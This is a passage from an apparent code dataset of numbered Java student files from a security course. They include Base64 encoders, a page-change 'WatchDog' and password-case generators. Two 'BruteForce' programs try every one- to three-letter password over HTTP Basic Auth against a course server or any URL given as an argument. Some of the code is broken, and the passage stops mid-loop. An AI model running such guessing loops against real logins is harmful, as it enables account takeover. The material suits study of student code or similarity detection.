        'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X',   
        'Y', 'Z', 'a', 'b', 'c', 'd', 'e', 'f',   
        'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n',   
        'o', 'p', 'q', 'r', 's', 't', 'u', 'v',   
        'w', 'x', 'y', 'z', '0', '1', '2', '3',   
        '4', '5', '6', '7', '8', '9', '+', '/' }; 


     public static String  encode ( String  s )
     {
        return encode ( s.getBytes ( ) );
     }

     public static String  encode ( byte [ ]  octetString )
     {
        int  bits24;
        int  bits6;

       char [ ]  out
          = new char [ ( ( octetString.length - 1 ) / 3 + 1 ) * 4 ];

       int outIndex = 0;
        int i        = 0;

       while ( ( i + 3 ) <= octetString.length )
       {
          
          bits24  = ( octetString [ i++ ] & 0xFF ) << 16;
          bits24 |= ( octetString [ i++ ] & 0xFF ) <<  8;
          bits24 |= ( octetString [ i++ ] & 0xFF ) <<  0;

         bits6 = ( bits24 & 0x00FC0000 ) >> 18;
          out [ outIndex++ ] = alphabet [ bits6 ];
          bits6 = ( bits24 & 0x0003F000 ) >> 12;
          out [ outIndex++ ] = alphabet [ bits6 ];
          bits6 = ( bits24 & 0x00000FC0 ) >> 6;
          out [ outIndex++ ] = alphabet [ bits6 ];
          bits6 = ( bits24 & 0x0000003F );
          out [ outIndex++ ] = alphabet [ bits6 ];
       }

       if ( octetString.length - i == 2 )
       {
          
          bits24  = ( octetString [ i     ] & 0xFF ) << 16;
          bits24 |= ( octetString [ i + 1 ] & 0xFF ) <<  8;

          bits6 = ( bits24 & 0x00FC0000 ) >> 18;
          out [ outIndex++ ] = alphabet [ bits6 ];
          bits6 = ( bits24 & 0x0003F000 ) >> 12;
          out [ outIndex++ ] = alphabet [ bits6 ];
          bits6 = ( bits24 & 0x00000FC0 ) >> 6;
          out [ outIndex++ ] = alphabet [ bits6 ];

         
          out [ outIndex++ ] = '=';
        }
        else if ( octetString.length - i == 1 )
        {
          
          bits24 = ( octetString [ i ] & 0xFF ) << 16;

          bits6 = ( bits24 & 0x00FC0000 ) >> 18;
          out [ outIndex++ ] = alphabet [ bits6 ];
          bits6 = ( bits24 & 0x0003F000 ) >> 12;
          out [ outIndex++ ] = alphabet [ bits6 ];

          
          out [ outIndex++ ] = '=';
          out [ outIndex++ ] = '=';
        }

       return new String ( out );
     }
}

"
039.java,"
public class CasePasswords
{

    
    static int verbose = CrackingConstants.quietMode;

    
	
	public void CasePasswords()
	{
    }

	
	public void CasePasswords(int inVerbose)
	{
	    verbose = inVerbose;
    }

	
    public String [] createCasedPasswords( int leftIndex, int  midIndex, int rightIndex, String tail, String [] lowerChars, String [] upperChars, int scanType)
    {
        String [] casedPasswords = null;
        
        
        
        if(scanType == CrackingConstants.casedScan)
            if(rightIndex > -1)
            {
                
                casedPasswords = new String[8];
            }
            else if(midIndex > -1)
            {
                
                casedPasswords = new String[4];
            }
            else
            {
                
                casedPasswords = new String[2];
            }
        else  
        {
            
            casedPasswords = new String[1];
        }	
                
        
        
        
        if(scanType == CrackingConstants.casedScan)
        {
            if(rightIndex > -1)
            {
                
                casedPasswords[0] = lowerChars[leftIndex] + lowerChars[midIndex] + lowerChars[rightIndex];
                casedPasswords[1] = upperChars[leftIndex] + upperChars[midIndex] + upperChars[rightIndex];
                casedPasswords[2] = lowerChars[leftIndex] + lowerChars[midIndex] + upperChars[rightIndex];
                casedPasswords[3] = lowerChars[leftIndex] + upperChars[midIndex] + lowerChars[rightIndex];
                casedPasswords[4] = upperChars[leftIndex] + lowerChars[midIndex] + lowerChars[rightIndex];
                casedPasswords[5] = upperChars[leftIndex] + upperChars[midIndex] + lowerChars[rightIndex];
                casedPasswords[6] = upperChars[leftIndex] + lowerChars[midIndex] + upperChars[rightIndex];
                casedPasswords[7] = lowerChars[leftIndex] + upperChars[midIndex] + upperChars[rightIndex];
            }
            else if(midIndex > -1)
            {
                
                casedPasswords[0] = lowerChars[leftIndex] + lowerChars[midIndex];
                casedPasswords[1] = upperChars[leftIndex] + upperChars[midIndex];
                casedPasswords[2] = lowerChars[leftIndex] + lowerChars[midIndex];
                casedPasswords[3] = lowerChars[leftIndex] + upperChars[midIndex];
            }
            else
            {
                
                casedPasswords[0] = lowerChars[leftIndex];
                casedPasswords[1] = upperChars[leftIndex];
            }
        }
        else	
        {
            if(rightIndex > -1)
            {
                
                casedPasswords[0] = lowerChars[leftIndex] + lowerChars[midIndex] + lowerChars[rightIndex];
            }
            else if(midIndex > -1)
            {
                
                casedPasswords[0] = lowerChars[leftIndex] + lowerChars[midIndex];
            }
            else
            {
                
                casedPasswords[0] = lowerChars[leftIndex];
            }
        }	
        
        
        
        
        
        if("""" != tail)
        	for( i = 0; i < casedPasswords.length; i++)
        		casedPasswords[i] += tail;
                        
	    if(verbose  == CrackingConstants.verboseMode2)
	        printPasswords(casedPasswords);

        return casedPasswords;
    }  
    
	
    public String [] createCasedPasswords(String candidate, int  scanType)
    {
        
        int candLength = candidate.length();
        int arrayLength = 2 ^ candLength;
        arrayLength = 1;
        String [] shortCasedPasswords = new String[1];
        String [] casedPasswords = null;
        char[] password = new char [candidate.length()];
        
        
        if(scanType != CrackingConstants.simpleScan)
            candidate.getChars(0, candidate.length(), password, 0);
        
        
        
        
        
        
        
        
        
        
        if(scanType == CrackingConstants.simpleScan)
        {
            
            
            casedPasswords = new String[1];
            casedPasswords[0] = candidate;
        }
        else if(candidate.length() == 1)
        {
            casedPasswords = new String[2];
            casedPasswords[0] = Character.toString(Character.toLowerCase(password[0]));
            casedPasswords[1] = Character.toString(Character.toUpperCase(password[0]));
            
        }
        else if (candidate.length() == 2)
        {
            casedPasswords = new String[4];
            casedPasswords[0] = Character.toString(Character.toLowerCase(password[0])) + Character.toString(Character.toLowerCase(password[1]));
            casedPasswords[1] = Character.toString(Character.toUpperCase(password[0])) + Character.toString(Character.toUpperCase(password[1]));
            casedPasswords[2] = Character.toString(Character.toLowerCase(password[0])) + Character.toString(Character.toUpperCase(password[1]));
            casedPasswords[3] = Character.toString(Character.toUpperCase(password[0])) + Character.toString(Character.toLowerCase(password[1]));
            
        }
        else if (candidate.length() == 3)
        {
            casedPasswords = new String[8];
            casedPasswords[0] = Character.toLowerCase(password[0]) + Character.toString(Character.toLowerCase(password[1]))  + Character.toLowerCase(password[2]);
            casedPasswords[1] = Character.toUpperCase(password[0]) + Character.toString(Character.toUpperCase(password[1]))  + Character.toUpperCase(password[2]);
            casedPasswords[2] = Character.toLowerCase(password[0]) + Character.toString(Character.toLowerCase(password[1]))  + Character.toUpperCase(password[2]);
            casedPasswords[3] = Character.toLowerCase(password[0]) + Character.toString(Character.toUpperCase(password[1]))  + Character.toLowerCase(password[2]);
            casedPasswords[4] = Character.toUpperCase(password[0]) + Character.toString(Character.toLowerCase(password[1]))  + Character.toLowerCase(password[2]);
            casedPasswords[5] = Character.toUpperCase(password[0]) + Character.toString(Character.toUpperCase(password[1]))  + Character.toLowerCase(password[2]);
            casedPasswords[6] = Character.toUpperCase(password[0]) + Character.toString(Character.toLowerCase(password[1]))  + Character.toUpperCase(password[2]);
            casedPasswords[7] = Character.toLowerCase(password[0]) + Character.toString(Character.toUpperCase(password[1]))  + Character.toUpperCase(password[2]);
            
        }
        else if (candidate.length() > 3)
        {
            casedPasswords = new String[8];
            String tailCharacters = new String(password, 3, (password.length - 3));
            casedPasswords[0] = Character.toString(Character.toLowerCase(password[0])) + Character.toString(Character.toLowerCase(password[1]))  + Character.toString(Character.toLowerCase(password[2])) + tailCharacters;
            casedPasswords[1] = Character.toString(Character.toUpperCase(password[0])) + Character.toString(Character.toUpperCase(password[1]))  + Character.toString(Character.toUpperCase(password[2])) + tailCharacters;
            casedPasswords[2] = Character.toString(Character.toLowerCase(password[0])) + Character.toString(Character.toLowerCase(password[1]))  + Character.toString(Character.toUpperCase(password[2])) + tailCharacters;
            casedPasswords[3] = Character.toString(Character.toLowerCase(password[0])) + Character.toString(Character.toUpperCase(password[1]))  + Character.toString(Character.toLowerCase(password[2])) + tailCharacters;
            casedPasswords[4] = Character.toString(Character.toUpperCase(password[0])) + Character.toString(Character.toLowerCase(password[1]))  + Character.toString(Character.toLowerCase(password[2])) + tailCharacters;
            casedPasswords[5] = Character.toString(Character.toUpperCase(password[0])) + Character.toString(Character.toUpperCase(password[1]))  + Character.toString(Character.toLowerCase(password[2])) + tailCharacters;
            casedPasswords[6] = Character.toString(Character.toUpperCase(password[0])) + Character.toString(Character.toLowerCase(password[1]))  + Character.toString(Character.toUpperCase(password[2])) + tailCharacters;
            casedPasswords[7] = Character.toString(Character.toLowerCase(password[0])) + Character.toString(Character.toUpperCase(password[1]))  + Character.toString(Character.toUpperCase(password[2])) + tailCharacters;
            
        }
        
	    if(verbose == CrackingConstants.verboseMode2)
	        printPasswords(casedPasswords);

        return casedPasswords;
    }
    
   
	
    private void printPasswords(String [] passwords)
    {
        if(passwords.length > 0)
        {
           for( i = 0; i < passwords.length; i++)	
           {
                System.out.print(passwords[i] + ""\t"");
           }
           System.out.println(""\n"");
        }
    }  
    
} 
"
241.java,"import java.io.*;
import java.net.*;
import java.util.*;
import java.*;


public class WatchDog {


public static final int interval = 79200000;

public static void main(String[] args) {
    WatchDog wd = new WatchDog();
    Thread thread = new Thread();
    URLConnection conn = null;
    DataInputStream data = null;
    DataInputStream in = null;
    String line;
    String lines;
    String buffer = new String();
    String buffers = new String();
    String url = new String(""http://www.cs.rmit.edu./students/"");
    boolean change;
	try{
	URL myurl = new URL(url);
        conn = myurl.openConnection();
        conn.connect();
        Object content = null;
        
        System.out.println(""Connection opened......"");
        System.out.println(""Retrieving data from URL"");
        data = new DataInputStream(new BufferedInputStream(conn.getInputStream()));
        System.out.println("" data from the URL......"");
        content = myurl.getContent();
        BufferedReader reader = null;
	reader = new BufferedReader(new InputStreamReader((InputStream) content));

        
        while ((line = data.readLine()) != null)

        {
         System.out.println(line);
         FileWriter outnew = new FileWriter(""watchdogresult.html"");
         outnew.write(line);
        }
        System.out.println(""Waiting for any change...."");
        thread.sleep(79200000);
        conn = myurl.openConnection();
        conn.connect();
        in = new DataInputStream(new BufferedInputStream(conn.getInputStream()));
        while ((lines = in.readLine()) != null)
        {

	 FileWriter newf = new FileWriter(""watchdogresult.tmp"");
         newf.write(buffers);
        }
	change = true;
        if(change);
        else{
	change = false;
        
	wd.mail();
	}
}
 catch (InterruptedException e) {}
  catch (IOException e) {
    e.printStackTrace();
    String r = new String(e.getMessage());
    if ( r != null)
    {
     System.out.println(""Message :"" +r);
    }
     else
     System.out.println(""Other problems"");
    }
 }


public void mail(){

      try {

      String from = new String(""Watchdog Reporter"");
      String email = new String(""@cs.rmit.edu."");
      String subject = new String("" is a change in "");

      
      URL u = new URL(""mailto:"" + email);
      URLConnection c = u.openConnection();
      c.setDoInput(false);
      c.setDoOutput(true);
      System.out.println(""Connecting..."");
      System.out.flush();
      c.connect();
      PrintWriter out =
        new PrintWriter(new OutputStreamWriter(c.getOutputStream()));

      
      out.println(""From: \"""" + from + ""\"" <"" +
                  System.getProperty(""user.name"") + ""@"" +
                  InetAddress.getLocalHost().getHostName() + "">"");
      out.println("": ""  );
      out.println(""Subject: "" + subject);
      out.println();  

      
      String line = new String(""Watchdog observe that  is a change in the web  ."");
      out.close();
      System.out.println(""Message sent."");
      System.out.flush();
    }
    catch (Exception e) {
      System.err.println(e);
      }

  }

}

"
159.java,"



 


class BasicAuth {

    public BasicAuth() {}


    private static byte[] cvtTable = {
        (byte)'A', (byte)'B', (byte)'C', (byte)'D', (byte)'E',
        (byte)'F', (byte)'G', (byte)'H', (byte)'I', (byte)'J',
        (byte)'K', (byte)'L', (byte)'M', (byte)'N', (byte)'O',
        (byte)'P', (byte)'Q', (byte)'R', (byte)'S', (byte)'T',
        (byte)'U', (byte)'V', (byte)'W', (byte)'X', (byte)'Y',
        (byte)'Z',
        (byte)'a', (byte)'b', (byte)'c', (byte)'d', (byte)'e',
        (byte)'f', (byte)'g', (byte)'h', (byte)'i', (byte)'j',
        (byte)'k', (byte)'l', (byte)'m', (byte)'n', (byte)'o',
        (byte)'p', (byte)'q', (byte)'r', (byte)'s', (byte)'t',
        (byte)'u', (byte)'v', (byte)'w', (byte)'x', (byte)'y',
        (byte)'z',
        (byte)'0', (byte)'1', (byte)'2', (byte)'3', (byte)'4',
        (byte)'5', (byte)'6', (byte)'7', (byte)'8', (byte)'9',
        (byte)'+', (byte)'/'
    };

    static String encode(String name,
                         String passwd) {
        byte input[] = (name + "":"" + passwd).getBytes();
        byte[] output = new byte[((input.length / 3) + 1) * 4];
        int ridx = 0;
        int chunk = 0;

        for (int i = 0; i < input.length; i += 3) {
            int left = input.length - i;


            if (left > 2) {
                chunk = (input[i] << 16)|
                        (input[i + 1] << 8) |
                         input[i + 2];
                output[ridx++] = cvtTable[(chunk&0xFC0000)>>18];
                output[ridx++] = cvtTable[(chunk&0x3F000) >>12];
                output[ridx++] = cvtTable[(chunk&0xFC0)   >> 6];
                output[ridx++] = cvtTable[(chunk&0x3F)];
            } else if (left == 2) {

                chunk = (input[i] << 16) |
                        (input[i + 1] << 8);
                output[ridx++] = cvtTable[(chunk&0xFC0000)>>18];
                output[ridx++] = cvtTable[(chunk&0x3F000) >>12];
                output[ridx++] = cvtTable[(chunk&0xFC0)   >> 6];
                output[ridx++] = '=';
            } else {

                chunk = input[i] << 16;
                output[ridx++] = cvtTable[(chunk&0xFC0000)>>18];
                output[ridx++] = cvtTable[(chunk&0x3F000) >>12];
                output[ridx++] = '=';
                output[ridx++] = '=';
            }
        }
        return new String(output);
    }
}"
113.java,"


import java.io.InputStream;
import java.util.Properties;

import javax.naming.Context;
import javax.naming.InitialContext;
import javax.rmi.PortableRemoteObject;
import javax.sql.DataSource;






public class MailsendPropertyHelper {

	private static Properties testProps;

	public MailsendPropertyHelper() {
	}


	

	public static String getProperty(String pKey){
		try{
			initProps();
		}
		catch(Exception e){
			System.err.println(""Error init'ing the watchddog Props"");
			e.printStackTrace();
		}
		return testProps.getProperty(pKey);
	}


	private static void initProps() throws Exception{
		if(testProps == null){
			testProps = new Properties();

			InputStream fis =
				MailsendPropertyHelper.class.getResourceAsStream(""/mailsend.properties"");
			testProps.load(fis);
		}
	}
}





"
138.java,"import java.io.*;
import java.util.Date;





import java.jscape.inet.http.*;  







class BruteForce
{
   public static void main (String args[]) throws Exception
   {
      String username = """";
      byte asciiLower[] = {97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122};
      byte asciiUpper[] = {65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90}; 
    
      int errorMessage = 401;
      int firstPosition = 0;
      int secondPosition = 0;
      int thirdPosition = 0; 
      int number = 1;
      int attempts = 0;
      
      Http http = new Http();
      HttpRequest request = new HttpRequest (""http://sec-crack.cs.rmit.edu./SEC/2/"" );
      Date startDate = new Date(); 
      
      
     
      for(firstPosition = 0; firstPosition < 26; firstPosition++)
      {
         String one = new String (asciiLower, firstPosition, number);
         String password = one;
         request.setBasicAuthentication(username,password);
         HttpResponse response = http.getResponse(request);
         errorMessage = response.getResponseCode();
         System.out.println(errorMessage);
         System.out.println(password);
         attempts++;
         if (errorMessage == 200)
            break;
      }

       

      if (errorMessage == 401)
      {
         for(firstPosition = 0; firstPosition < 26; firstPosition++)
         {
            String one = new String (asciiUpper, firstPosition, number);
            String password = one;
            request.setBasicAuthentication(username,password);
            HttpResponse response = http.getResponse(request);
            errorMessage = response.getResponseCode();
            System.out.println(errorMessage);
            System.out.println(password);
            attempts++;
            if (errorMessage == 200)
               break;
         }
      }

      

       if (errorMessage == 401)
      {
         for (firstPosition = 0; firstPosition < 26; firstPosition ++)
         { 
            for(secondPosition = 0; secondPosition < 26; secondPosition++)
            {
               String one = new String(asciiLower, firstPosition,number);
               String two = new String (asciiLower, secondPosition, number);
               String password = one + two;
               request.setBasicAuthentication(username,password);
               HttpResponse response = http.getResponse(request);
               errorMessage = response.getResponseCode();
               System.out.println(errorMessage);
               System.out.println(password);
               attempts++;
               if (errorMessage == 200)
                  break;
            }
            if (errorMessage == 200)
               break;
         }
      }  

       

       if (errorMessage == 401)
      { 
         for (firstPosition = 0; firstPosition < 26; firstPosition ++)
         { 
            for(secondPosition = 0; secondPosition < 26; secondPosition++)
            {
               String one = new String(asciiUpper, firstPosition,number);
               String two = new String (asciiUpper, secondPosition, number);
               String password = one + two;
               request.setBasicAuthentication(username,password);
               HttpResponse response = http.getResponse(request);
               errorMessage = response.getResponseCode();
               System.out.println(errorMessage);
               System.out.println(password);
               attempts++;
               if (errorMessage == 200)
                  break;
            }
            if (errorMessage == 200)
               break;
         }
      }

      

      if(errorMessage == 401)
      {
         for (firstPosition = 0; firstPosition < 26; firstPosition ++)
         { 
            for(secondPosition = 0; secondPosition < 26; secondPosition++)
            {
               String one = new String(asciiUpper, firstPosition,number);
               String two = new String (asciiLower, secondPosition, number);
               String password = one + two;
               request.setBasicAuthentication(username,password);
               HttpResponse response = http.getResponse(request);
               errorMessage = response.getResponseCode();
               System.out.println(errorMessage);
               System.out.println(password);
               attempts++;
               if (errorMessage == 200)
                  break;
            }
            if (errorMessage == 200)
               break;
         }
      }

      

      if (errorMessage == 401)
      {
         for (firstPosition = 0; firstPosition < 26; firstPosition ++)
         { 
            for(secondPosition = 0; secondPosition < 26; secondPosition++)
            {
               for(thirdPosition = 0; thirdPosition <26; thirdPosition++)
               { 
                  String one = new String(asciiLower, firstPosition,number);
                  String two = new String (asciiLower, secondPosition, number);
                  String three = new String (asciiLower, thirdPosition, number); 
                  String password = one + two + three;
                  request.setBasicAuthentication(username,password);
                  HttpResponse response = http.getResponse(request);
                  errorMessage = response.getResponseCode();
                  System.out.println(errorMessage);
                  System.out.println(password);
                  attempts++;
                  if (errorMessage == 200)
                     break;
               }
               if (errorMessage == 200)
                  break;
            }
            if (errorMessage == 200)
               break;
         }      
      }

      

      if (errorMessage == 401)
      {
         for (firstPosition = 0; firstPosition < 26; firstPosition ++)
         { 
            for(secondPosition = 0; secondPosition < 26; secondPosition++)
            {
               for(thirdPosition = 0; thirdPosition <26; thirdPosition++)
               { 
                  String one = new String(asciiUpper, firstPosition,number);
                  String two = new String (asciiUpper, secondPosition, number);
                  String three = new String (asciiUpper, thirdPosition, number); 
                  String password = one + two + three;
                  request.setBasicAuthentication(username,password);
                  HttpResponse response = http.getResponse(request);
                  errorMessage = response.getResponseCode();
                  System.out.println(errorMessage);
                  System.out.println(password);
                  attempts++;
                  if (errorMessage == 200)
                     break;
               }
               if (errorMessage == 200)
                  break;
            }
            if (errorMessage == 200)
               break;
         }      
      }


      

      if (errorMessage == 401)
      {
         for (firstPosition = 0; firstPosition < 26; firstPosition ++)
         { 
            for(secondPosition = 0; secondPosition < 26; secondPosition++)
            {
               for(thirdPosition = 0; thirdPosition <26; thirdPosition++)
               { 
                  String one = new String(asciiUpper, firstPosition,number);
                  String two = new String (asciiLower, secondPosition, number);
                  String three = new String (asciiLower, thirdPosition, number); 
                  String password = one + two + three;
                  request.setBasicAuthentication(username,password);
                  HttpResponse response = http.getResponse(request);
                  errorMessage = response.getResponseCode();
                  System.out.println(errorMessage);
                  System.out.println(password);
                  attempts++;
                  if (errorMessage == 200)
                     break;
               }
               if (errorMessage == 200)
                  break;
            }
            if (errorMessage == 200)
               break;
         }      
      }

      

      if (errorMessage == 401)
      {
         for (firstPosition = 0; firstPosition < 26; firstPosition ++)
         { 
            for(secondPosition = 0; secondPosition < 26; secondPosition++)
            {
               String one = new String(asciiLower, firstPosition,number);
               String two = new String (asciiUpper, secondPosition, number);
               String password = one + two;
               request.setBasicAuthentication(username,password);
               HttpResponse response = http.getResponse(request);
               errorMessage = response.getResponseCode();
               System.out.println(errorMessage);
               System.out.println(password);
               attempts++;
               if (errorMessage == 200)
                  break;
            }
            if (errorMessage == 200)
               break;
         }
      }

      

      if (errorMessage == 401)
      {
         for (firstPosition = 0; firstPosition < 26; firstPosition ++)
         { 
            for(secondPosition = 0; secondPosition < 26; secondPosition++)
            {
               for(thirdPosition = 0; thirdPosition <26; thirdPosition++)
               { 
                  String one = new String(asciiLower, firstPosition,number);
                  String two = new String (asciiLower, secondPosition, number);
                  String three = new String (asciiUpper, thirdPosition, number); 
                  String password = one + two + three;
                  request.setBasicAuthentication(username,password);
                  HttpResponse response = http.getResponse(request);
                  errorMessage = response.getResponseCode();
                  System.out.println(errorMessage);
                  System.out.println(password);
                  attempts++;
                  if (errorMessage == 200)
                     break;
               }  
               if (errorMessage == 200)
                     break; 
            }
            if (errorMessage == 200)
                     break;
         }
      }

      

      if (errorMessage == 401)
      {
         for (firstPosition = 0; firstPosition < 26; firstPosition ++)
         { 
            for(secondPosition = 0; secondPosition < 26; secondPosition++)
            {
               for(thirdPosition = 0; thirdPosition <26; thirdPosition++)
               { 
                  String one = new String(asciiLower, firstPosition,number);
                  String two = new String (asciiUpper, secondPosition, number);
                  String three = new String (asciiUpper, thirdPosition, number); 
                  String password = one + two + three;
                  request.setBasicAuthentication(username,password);
                  HttpResponse response = http.getResponse(request);
                  errorMessage = response.getResponseCode();
                  System.out.println(errorMessage);
                  System.out.println(password);
                  attempts++;
                  if (errorMessage == 200)
                     break;
               }  
               if (errorMessage == 200)
                     break; 
            }
            if (errorMessage == 200)
                     break;
         }
      }

      

      if (errorMessage == 401)
      {
         for (firstPosition = 0; firstPosition < 26; firstPosition ++)
         { 
            for(secondPosition = 0; secondPosition < 26; secondPosition++)
            {
               for(thirdPosition = 0; thirdPosition <26; thirdPosition++)
               { 
                  String one = new String(asciiLower, firstPosition,number);
                  String two = new String (asciiUpper, secondPosition, number);
                  String three = new String (asciiLower, thirdPosition, number); 
                  String password = one + two + three;
                  request.setBasicAuthentication(username,password);
                  HttpResponse response = http.getResponse(request);
                  errorMessage = response.getResponseCode();
                  System.out.println(errorMessage);
                  System.out.println(password);
                  attempts++;
                  if (errorMessage == 200)
                     break;
               }
               if (errorMessage == 200)
                  break;
            }
            if (errorMessage == 200)
                  break;
         }
      }

      
      
       if (errorMessage == 401)
      {
         for (firstPosition = 0; firstPosition < 26; firstPosition ++)
         { 
            for(secondPosition = 0; secondPosition < 26; secondPosition++)
            {
               for(thirdPosition = 0; thirdPosition <26; thirdPosition++)
               { 
                  String one = new String(asciiUpper, firstPosition,number);
                  String two = new String (asciiUpper, secondPosition, number);
                  String three = new String (asciiLower, thirdPosition, number); 
                  String password = one + two + three;
                  request.setBasicAuthentication(username,password);
                  HttpResponse response = http.getResponse(request);
                  errorMessage = response.getResponseCode();
                  System.out.println(errorMessage);
                  System.out.println(password);
                  attempts++;
                  if (errorMessage == 200)
                     break;
               }
               if (errorMessage == 200)
                  break;
            }
            if (errorMessage == 200)
                  break;
         }
      }

      

      if (errorMessage == 401)
      {
         for (firstPosition = 0; firstPosition < 26; firstPosition ++)
         { 
            for(secondPosition = 0; secondPosition < 26; secondPosition++)
            {
               for(thirdPosition = 0; thirdPosition <26; thirdPosition++)
               { 
                  String one = new String(asciiUpper, firstPosition,number);
                  String two = new String (asciiLower, secondPosition, number);
                  String three = new String (asciiUpper, thirdPosition, number); 
                  String password = one + two + three;
                  request.setBasicAuthentication(username,password);
                  HttpResponse response = http.getResponse(request);
                  errorMessage = response.getResponseCode();
                  System.out.println(errorMessage);
                  System.out.println(password);
                  attempts++;
                   if (errorMessage == 200)
                     break;
               }
               if (errorMessage == 200)
                  break;
            }
            if (errorMessage == 200)
                  break;
         }
      }
             
       
      Date endDate = new Date();
      System.out.println(""Password crack finished: "" + endDate);
      System.out.println(""Password crack started: "" + startDate);
      System.out.println("" of attempts: "" + attempts);
   }
}

     
  








         

         

        





           
        
           
      "
038.java,"
public class CrackingConstants 
{

    
    public static final int quietMode = 0;
    public static final  int verboseMode1 = 1;
    public static final int  verboseMode2 = 2;
    
    
    public static final int simpleScan = 0;
    public static final int casedScan = 1;
    
    
    public static final int notFound = -1;

   
    
    
    
    
    
    public static final String [] lowerChars = {""a"", ""e"", ""i"", ""o"", ""u"", ""y"", 
                                                ""b"", ""c"",""d"", ""f"", ""g"", ""h"", 
                                                ""j"", ""k"", ""l"", ""m"", ""n"", ""p"", 
                                                ""q"", ""r"", ""s"", ""t"", ""v"", ""w"", 
                                                ""x"", ""z"", ""0"", ""1"", ""2"", ""3"",
                                                ""4"", ""5"", ""6"", ""7"", ""8"", ""9"",
                                                ""\'"", ""`"", ""."", "","", ""!"", ""\"""",
                                                ""&"" };          
                                                        
    public static final String [] upperChars = {""A"", ""E"", ""I"", ""O"", ""U"", ""Y"", 
                                                ""B"", ""C"", ""D"", ""F"", ""G"", ""H"", 
                                                ""J"", ""K"", ""L"", ""M"", ""N"", ""P"", 
                                                ""Q"", ""R"", ""S"", ""T"", ""V"", ""W"", 
                                                ""X"", ""Z"", ""0"", ""1"", ""2"", ""3"",
                                                ""4"", ""5"", ""6"", ""7"", ""8"", ""9"",                              
                                                ""\'"", ""`"", ""."", "","", ""!"", ""\"""",
                                                ""&"" };          
                                                
	
    public static final int punctuationUpperBound = 42;
    public static final int punctuationLowerBound = 36;
    public static final int numbersUpperBound = 35;
    public static final int numbersLowerBound = 26;
    public static final int consonantUpperBound = 25;
    public static final int consonantLowerBound = 6;
    public static final int vowelUpperBound = 5;
    public static final int vowelLowerBound = 0;

	
    public static int findIndex(char letter, int lowerSearchBound, int upperSearchBound)
    {
        if(lowerChars.length < upperSearchBound)
           upperSearchBound = lowerChars.length;
            
        if(0 > lowerSearchBound)
           lowerSearchBound = 0;

        for(int i = lowerSearchBound; i < upperSearchBound; i++)
	    {
	        
	        
            if(lowerChars[i].indexOf(letter) > -1) 
                return i;
            if(upperChars[i].indexOf(letter) > -1) 
                return i;
        }
        return notFound;
    } 
    
} "
156.java,"



import java.net.*;
import java.io.*;
import java.util.Date;

public class BruteForce {
  private URL url;
  private HttpURLConnection connection;
  private static String[] lowerCase = {""a"", ""b"", ""c"", ""d"", ""e"", ""f"", ""g"", ""h"", ""i"", ""j"",
                                       ""k"", ""l"", ""m"", ""n"", ""o"", ""p"", ""q"", ""r"", ""s"", ""t"",
                                       ""u"", ""v"", ""w"", ""x"", ""y"", ""z""};
  private static String[] upperCase = {""A"", ""B"", ""C"", ""D"", ""E"", ""F"", ""G"", ""H"", ""I"", ""J"",
                                       ""K"", ""L"", ""M"", ""N"", ""O"", ""P"", ""Q"", ""R"", ""S"", ""T"",
                                       ""U"", ""V"", ""W"", ""X"", ""Y"", ""Z""};
  private String userPassword, base64_userPassword;
  private static char wrongPass;

  public BruteForce() {
    wrongPass = 'Y';
  }

  public char determinePass(String inputURL, String userName, String passWord){

    try{
        url = new URL(inputURL);
        connection = (HttpURLConnection)url.openConnection();
        this.getEncoded(userName, passWord);
        connection.setDoInput(true);
        connection.setDoOutput(false);
        connection.setRequestProperty(""Authorization"",
                                      "" "" + base64_userPassword);

        if  (connection.getResponseCode() == 200)
        {
          System.out.println(""Success!! Password is: "" + passWord);
          wrongPass = 'N';
        }

        return wrongPass;
    }
    catch (MalformedURLException e){System.out.println(""Invalide url"");}
    catch (IOException e){System.out.println(""Error  URL"");
                          wrongPass = 'Y';}
    return wrongPass;
  }

  public static void main(String[] args) {
    int i, j, k;
    String brutePass;

    BruteForce bruteForce1 = new BruteForce();

    Date date = new Date(System.currentTimeMillis());
    System.out.print("" time is: "");
    System.out.println(date.toString());
    
    
    

    
    for  (i = 0; i < 26; i++)
    { for  (j = 0; j < 26; j++)
      { for  (k = 0; k < 26; k++)
        {
           brutePass = lowerCase[i] + lowerCase[j] + lowerCase[k];
           bruteForce1.determinePass(args[0], args[1], brutePass);
           if  (wrongPass == 'N')
           { i = 26;
             j = 26;
             k = 26;
           }}}}

     if  (wrongPass == 'N')
     {
       date.setTime(System.currentTimeMillis());
       System.out.print(""End time is: "");
       System.out.println(date.toString());
       System.exit(0);
     }


    
    for  (i = 0; i < 26; i++)
    { for  (j = 0; j < 26; j++)
      { for  (k = 0; k < 26; k++)
        {
           brutePass = upperCase[i] + upperCase[j] + upperCase[k];
           bruteForce1.determinePass(args[0], args[1], brutePass);
           if  (wrongPass == 'N')
           { i = 26;
             j = 26;
             k = 26;
           }}}}

    if  (wrongPass == 'N')
    {
      date.setTime(System.currentTimeMillis());
      System.out.print(""End time is: "");
      System.out.println(date.toString());
      System.exit(0);
    }

    
    for  (i = 0; i < 26; i++)
    { for  (j = 0; j < 26; j++)
      { for  (k = 0; k < 26; k++)
        {
           brutePass = upperCase[i] + upperCase[j] + lowerCase[k];
           bruteForce1.determinePass(args[0], args[1], brutePass);
           if  (wrongPass == 'N')
           { i = 26;
             j = 26;
             k = 26;
           }}}}

    if  (wrongPass == 'N')
    {
      date.setTime(System.currentTimeMillis());
      System.out.print(""End time is: "");
      System.out.println(date.toString());
      System.exit(0);
    }

    
    for  (i = 0; i < 26; i++)
    { for  (j = 0; j < 26; j++)
      { for  (k = 0; k < 26; k++)
        {
           brutePass = upperCase[i] + lowerCase[j] + upperCase[k];
           bruteForce1.determinePass(args[0], args[1], brutePass);
           if  (wrongPass == 'N')
           { i = 26;
             j = 26;
             k = 26;
           }}}}

    if  (wrongPass == 'N')
    {
      date.setTime(System.currentTimeMillis());
      System.out.print(""End time is: "");
      System.out.println(date.toString());
      System.exit(0);
    }

    
    for  (i = 0; i < 26; i++)
    { for  (j = 0; j < 26; j++)
      { for  (k = 0; k < 26; k++)
        {
           brutePass = upperCase[i] + lowerCase[j] + lowerCase[k];
           bruteForce1.determinePass(args[0], args[1], brutePass);
           if  (wrongPass == 'N')
           { i = 26;
             j = 26;
             k = 26;
           }}}}

    if  (wrongPass == 'N')
    {
      date.setTime(System.currentTimeMillis());
      System.out.print(""End time is: "");
